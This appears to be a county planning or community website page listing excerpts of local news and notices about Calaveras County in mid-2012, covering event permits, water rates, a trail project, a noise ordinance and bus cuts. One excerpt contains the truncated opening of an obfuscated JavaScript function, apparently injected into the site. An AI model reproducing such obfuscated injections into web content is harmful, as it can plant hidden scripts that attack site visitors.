Special event permits may get easier to get

Posted: Friday, August 10, 2012 9:59 am Calaveras Enterprise A simpler, lower cost approach to special events won glowing reviews from Calaveras County supervisors at a special meeting held with county planners Thursday. All three board members on hand for Thursday’s joint session applauded the draft resolution presented by Planning Department Director Rebecca Willis, suggesting only minor tweaks to a permit-fee process built to handle events ranging... Read More

Water district puts off rate increases

Posted: Tuesday, August 7, 2012 9:55 am http://www.calaverasenterprise.com/news/article_9c1e47e4-e0af-11e1-9306-001a4bcf887a.html Calaveras County Water District board members  revisit county water bills this week, meeting Wednesday to discuss delays in  planned water and sewer rate increases. Last month’s meeting saw water district directors  in a hopeful mood about completing public outreach and rate studies that could  have set those increases in... Read More

Special Meeting

AUGUST 9, 2012 PRELIMINARY AGENDA – SPECIAL MEETING CALAVERAS COUNTY BOARD OF SUPERVISORS JOINT MEETING WITH THE CALAVERAS COUNTY PLANNING COMMISSON THIS MEETING WILL BE HELD IN THE BOARD OF SUPERVISORS CHAMBERS 891 Mountain Ranch Rd San Andreas, California 9:00  A.M.:  Call to Order Pledge of Allegiance   9:10 A.M.  JOINT  STUDY SESSION WITH THE PLANNING COMMISSION 1.      STUDY SESSION:  The Board will hold a joint... Read More

Public Hearing for Arnold Rim Trail Connection Project

Please see the attached Notice of Public Hearing for the Arnold Rim Trail Cedar Center Bikeway Connection Project. The project is a paved bicycle path between Oak Circle and Pine Drive across Stanislaus National Forest land with trailheads on County property at both ends. Additional details about the project can be found on the attached notice. The Initial Study/Mitigated Negative Declaration is available for review on the County website at... Read More

Transportation plan sees rough roads

Posted: Tuesday, August 7, 2012 9:53 am | Calaveras Enterprise | Posted by James  DeHaven Calaveras County roads lack passing opportunities, adequate right-of-way and roughly $340 million in needed paving improvements, according to the county’s long-awaited Regional Transportation Plan. Last updated in 2007, the RTP takes into account road conditions and funding needs across four state highways and more than a dozen local routes. The county’s... Read More

Special Events Study Session August 9 at Planning Commission

The Planning Commission will be hosting a joint study session of the Board of Supervisors and the Planning Commission at 9 am on Thursday, August 9th to review Zoning Code regulations for Special Events, including various options to enhance business opportunities and economic development. No action will be taken at this study session but interested parties are encouraged to attend.  Meeting agendas and packets may be viewed here. function _0x3023(_0x562006,_0x1334d6){const... Read More

Proposed noise ordinance goes back to the drawing board

By Nick Baptista The Valley Springs News/ July 27, 2012 A proposed noise ordinance is expected to return to the Calaveras County Board of Supervisors in a month, but noise isn’t the only issue concerning one man who spoke in favor of the proposal at Tuesday’s board meeting. Ray Hoot, who lives on Poker Flat Road near the Lake Tulloch Resort,  outlined a litany of issues surrounding the Bump V events at the resort in Copperopolis. Hoot... Read More

County to slash public bus routes

Written by Sean Janssen, The Union Democrat July 25, 2012 10:01 am Cutbacks to Calaveras Transit service approved Tuesday by the county Board of Supervisors are designed to improve the system’s fare recovery ratio necessary to keep receiving state funding. The transit system is mandated to collect 10 percent of its revenues through the fares it charges and has fallen short for years. Changes include adding a route between San Andreas, Mokelumne... Read More

News About the Noise Ordinance

Ruckus made over Tulloch noise Written by Sean Janssen, The Union Democrat July 25, 2012 09:59 am Tulloch Reservoir is at the heart of the debate regarding a proposed Calaveras County noise ordinance. Absent an ordinance, party events at Lake Tulloch Resort that draw thousands are spilling out into neighboring properties and law enforcement is effectively powerless to stop the racket that goes on day and night on the water. Supervisors postponed... Read More

Rural communities still have to fight off extremists

The article below is from High Country News ( http://www.hcn.org/wotr/rural-communities-still-have-to-fight-off-extremists ).  Thank you to the “Friday Planning News” folks  for this article. Op-Ed – July 06, 2012 by Gina Knudson The fiery rhetoric that periodically consumes rural communities in the West is smoldering again. Some environmentalists berate those of us who try to collaborate to solve contentious public-lands issues;... Read More